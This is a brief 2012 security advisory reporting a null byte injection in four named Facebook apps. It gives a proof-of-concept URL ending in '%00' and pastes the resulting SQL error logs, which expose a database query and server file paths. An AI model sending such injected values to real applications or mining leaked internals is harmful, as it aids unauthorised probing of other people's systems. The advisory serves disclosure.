Title
=====
Facebook Application Null Byte Injection


Date 
====
25/01/2012


Author
======
<fiez_crack@yahoo.com>


Bug 
===
Null Byte Injection


Introduction
============
The application is currently included and viewable by all facebook users.

Facebook is a social networking service and website launched in February 2004, operated and privately owned 
by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create 
a personal profile, add other users as friends, and exchange messages, including automatic notifications when 
they update their profile. Facebook users must register before using the site. Additionally, users may join 
common-interest user groups, organized by workplace, school or college, or other characteristics. 

(Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook)


Vulnerability
=============
Once you open the link, there will be an error like e.g, SQL error. 
- http://apps.facebook.com/chev_test_fre/
- http://apps.facebook.com/worldwide_dev/
- http://apps.facebook.com/morgans_test/
- http://apps.facebook.com/chev_test_ita/


Exploitation Technique
======================
Remote 


Injectable (Proof Of Concept)
=============================
- http://apps.facebook.com/chev_test_ita/%00


SQL Error Logs
==============
Warning (512): SQL Error: 1048: Column 'language_id' cannot be null [CORE/cake/libs/model/datasources/dbo_source.php, line 681]
Code | Context

            $out = null;
            if ($error) {
                trigger_error('<span style="color:Red;text-align:left"><b>' . __('SQL Error:', true) . "</b> {$this->error}</span>", E_USER_WARNING);

$sql  =  "INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests/index', '{type:\"hit\"}', '2012-01-25 00:33:17')"
$error  =  "1048: Column 'language_id' cannot be null"
$out  =  null

Query: INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests

Warning (2): require(webroot/css/main-.css) [function.require]: failed to open stream: No such file or directory [APP/views/layouts/facebook.ctp, line 36]
Code | Context

Fatal error: require() [function.require]: Failed opening required 'webroot/css/main-.css' (include_path='/var/www/html/chev_dale_ita:/var/www/html/chev_dale_ita/app/:.:/usr/share/pear:/usr/share/php') in /var/www/html/chev_dale_ita/app/views/layouts/facebook.ctp on line 36


Severity
========
High


Risk
====
As data is parsed, an injected NULL character or NULL byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted.